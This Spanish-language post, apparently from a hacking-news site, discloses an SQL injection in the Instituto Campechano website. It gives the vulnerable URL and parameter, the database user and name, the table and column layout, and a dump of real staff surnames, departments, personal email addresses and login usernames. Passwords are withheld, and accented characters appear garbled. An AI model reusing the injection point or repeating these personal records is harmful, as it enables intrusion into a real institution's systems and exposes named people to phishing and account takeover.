Hackean al Instituto Campechano (icenlinea.com)

Un problema de SQL Injection permite al sitio web del Instituto Campechano obtener información privilegiada:

http://www.icenlinea.com/centrodeinfoma.php?pagina=’

Usuario BDD:
‘icenline_iclinea’@’localhost’

Base de datos: icenline_icenlinea

Tablas:
+– ————–+
| archivos |
| banners |
| categorias |
| directores |
| egresados |
| especialidades |
| fotosgalerias |
| galerias |
| generaciones |
| horariosradio |
| laboral |
| noticias |
| radio |
| sitios |
| usuarios |
+—————-+

Tabla: usuarios
[10 columnas]
+————+—————————+
| Columna | Tipo |
+————+—————————+
| Apellidos | varchar(100) |
| Area | varchar(200) |
| correo | varchar(200) |
| Fecha | varchar(100) |
| IDUsuario | int(10) |
| Nombre | varchar(70) |
| Password | varchar(15) |
| Privilegio | int(11) |
| Usuario | varchar(15) |
| Visitas | int(11) |
+——————————–+

Algunos usuarios (No publicaré passwords):

| Cahuich Uc | Normal Primaria | yarabc_76@hotmail.com Yara Beatriz | nprimaria
| Valladares Herrera | Posgrado | miguelvalladaresh@hotmail.com Miguel Angel | posgrado
| Arroyo Rodr€guez | Planeaci€n | a.elenad@hotmail.com Martha E. | planeacion
| Dom€nguez Poot | Control Escolar | ic_control_escolar@hotmail.com Jorge Arturo | controlesc
| Dom€nguez Poot | Secretar€a General A | ic_control_escolar@hotmail.com Jorge Arturo | secreta
| Aguilar Moreno | Laboratorio de Idiomas | manuelaguilar42@hotmail.com Manuel | labidiomas
| Puch Mendoza | Preparatoria Vespertina | victorpuch@hotmail.com Victor Manuel | prepavesp
| L€pez Mart€nez | Preparatoria Nocturna | dipfsys@hotmail.com Luis Daniel | pnocturna
| Sarmiento Ortiz | Ciencias de la Comunicaci€n | sara_27ines@hotmail.com Sara I. | comunica
| Ortiz Lara | Normal Superior | juliocol75@hotmail.com Julio C€sar | nsuperior
| Meneses | Gastronom€a | ic_chef_rafael@yahoo.com Rafael | gastrorafa
| Pedraza | Turismo – Semiescolarizado | berica07@hotmail.com Betty | semturismo
| Pedraza | Turismo | berica07@hotmail.com Betty | turismo
| Campos | Laboratorio Maya | blancapreciosa@yahoo.com.mx Blanca | labmaya
| MASTER | NOTICIAS I.C | portalwebic@hotmail.com WEB- MASTER | WEB

http://www.icenlinea.com/vernoticia.php?ID=0000000905

Fuente: Correo anónimo: jag@anonymbox.com